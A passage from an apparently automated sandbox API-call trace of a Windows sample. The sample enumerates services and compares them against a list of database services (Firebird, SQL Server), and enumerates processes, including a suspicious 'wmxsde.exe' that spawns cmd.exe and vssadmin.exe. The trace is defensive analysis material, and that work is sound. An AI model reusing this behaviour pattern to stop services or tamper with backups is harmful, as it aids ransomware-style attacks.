lpString2="Schedule") returned 1 [0175.408] lstrlenW (lpString="SecurityHealthService") returned 21 [0175.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0175.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0175.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0175.409] lstrlenW (lpString="SENS") returned 4 [0175.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.409] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.409] lstrlenW (lpString="Spooler") returned 7 [0175.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.409] lstrlenW (lpString="StateRepository") returned 15 [0175.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0175.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0175.409] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0175.409] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0175.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0175.410] lstrlenW (lpString="SysMain") returned 7 [0175.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.410] lstrlenW (lpString="SystemEventsBroker") returned 18 [0175.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0175.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0175.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0175.410] lstrlenW (lpString="Themes") returned 6 [0175.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x465ffb0 | out: hHeap=0x710000) returned 1 [0175.743] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534 [0175.750] Process32FirstW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.751] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.752] lstrlenW (lpString="System") returned 6 [0175.752] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.753] lstrlenW (lpString="smss.exe") returned 8 [0175.753] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.755] lstrlenW (lpString="csrss.exe") returned 9 [0175.755] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.756] lstrlenW (lpString="wininit.exe") returned 11 [0175.756] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.757] lstrlenW (lpString="csrss.exe") returned 9 [0175.757] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.758] lstrlenW (lpString="winlogon.exe") returned 12 [0175.758] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.759] lstrlenW (lpString="services.exe") returned 12 [0175.759] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.760] lstrlenW (lpString="lsass.exe") returned 9 [0175.760] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.761] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.761] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.762] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.762] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.763] lstrlenW (lpString="svchost.exe") returned 11 [0175.763] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.764] lstrlenW (lpString="svchost.exe") returned 11 [0175.764] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.765] lstrlenW (lpString="dwm.exe") returned 7 [0175.765] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.766] lstrlenW (lpString="svchost.exe") returned 11 [0175.766] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.767] lstrlenW (lpString="svchost.exe") returned 11 [0175.767] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.768] lstrlenW (lpString="svchost.exe") returned 11 [0175.768] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.769] lstrlenW (lpString="svchost.exe") returned 11 [0175.769] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.771] lstrlenW (lpString="svchost.exe") returned 11 [0175.771] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.772] lstrlenW (lpString="svchost.exe") returned 11 [0175.772] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.773] lstrlenW (lpString="svchost.exe") returned 11 [0175.773] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.774] lstrlenW (lpString="svchost.exe") returned 11 [0175.774] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.775] lstrlenW (lpString="svchost.exe") returned 11 [0175.775] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.776] lstrlenW (lpString="svchost.exe") returned 11 [0175.776] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.777] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.777] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.778] lstrlenW (lpString="svchost.exe") returned 11 [0175.779] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.780] lstrlenW (lpString="audiodg.exe") returned 11 [0175.780] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.781] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.781] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0175.782] lstrlenW (lpString="sihost.exe") returned 10 [0175.782] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.783] lstrlenW (lpString="svchost.exe") returned 11 [0175.783] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0175.784] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0175.784] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0175.785] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0175.785] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0175.922] lstrlenW (lpString="Memory Compression") returned 18 [0175.923] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.923] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.923] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0175.924] lstrlenW (lpString="msoia.exe") returned 9 [0175.924] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.925] lstrlenW (lpString="explorer.exe") returned 12 [0175.925] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0175.926] lstrlenW (lpString="SearchUI.exe") returned 12 [0175.926] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0175.927] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0175.927] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0175.928] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0175.928] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.929] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.929] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0175.930] lstrlenW (lpString="wmxsde.exe") returned 10 [0175.930] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.930] lstrlenW (lpString="cmd.exe") returned 7 [0175.930] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.931] lstrlenW (lpString="conhost.exe") returned 11 [0175.931] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0175.932] lstrlenW (lpString="consent.exe") returned 11 [0175.932] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0175.933] lstrlenW (lpString="vssadmin.exe") returned 12 [0175.933] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0175.934] CloseHandle (hObject=0x534) returned 1 [0175.934] Sleep (dwMilliseconds=0x1f4) [0176.758] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f330 [0176.758] EnumServicesStatusExW (in: hSCManager=0x459f330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0176.759] GetLastError () returned 0xea [0176.759] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x465ffb0 [0176.759] EnumServicesStatusExW (in: hSCManager=0x459f330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x465ffb0, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x465ffb0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0176.760] CloseServiceHandle (hSCObject=0x459f330) returned 1 [0176.761] lstrlenW (lpString="Appinfo") returned 7 [0176.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0176.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0176.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0176.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0176.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0176.761] lstrlenW (lpString="AppXSvc") returned 7 [0176.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0176.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0176.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0176.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0176.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0176.761] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.761] lstrlenW (lpString="Audiosrv") returned 8 [0176.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0176.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0176.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0176.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0176.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0176.762] lstrlenW (lpString="BFE") returned 3 [0176.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.762] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0176.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0176.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0176.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0176.762] lstrlenW (lpString="CDPSvc") returned 6 [0176.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0176.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0176.762] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0176.762] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0176.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0176.762] lstrlenW (lpString="ClickToRunSvc") returned 13 [0176.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.762] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0176.762] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0176.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0176.763] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0176.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.763] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0176.763] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0176.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0176.763] lstrlenW (lpString="CryptSvc") returned 8 [0176.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 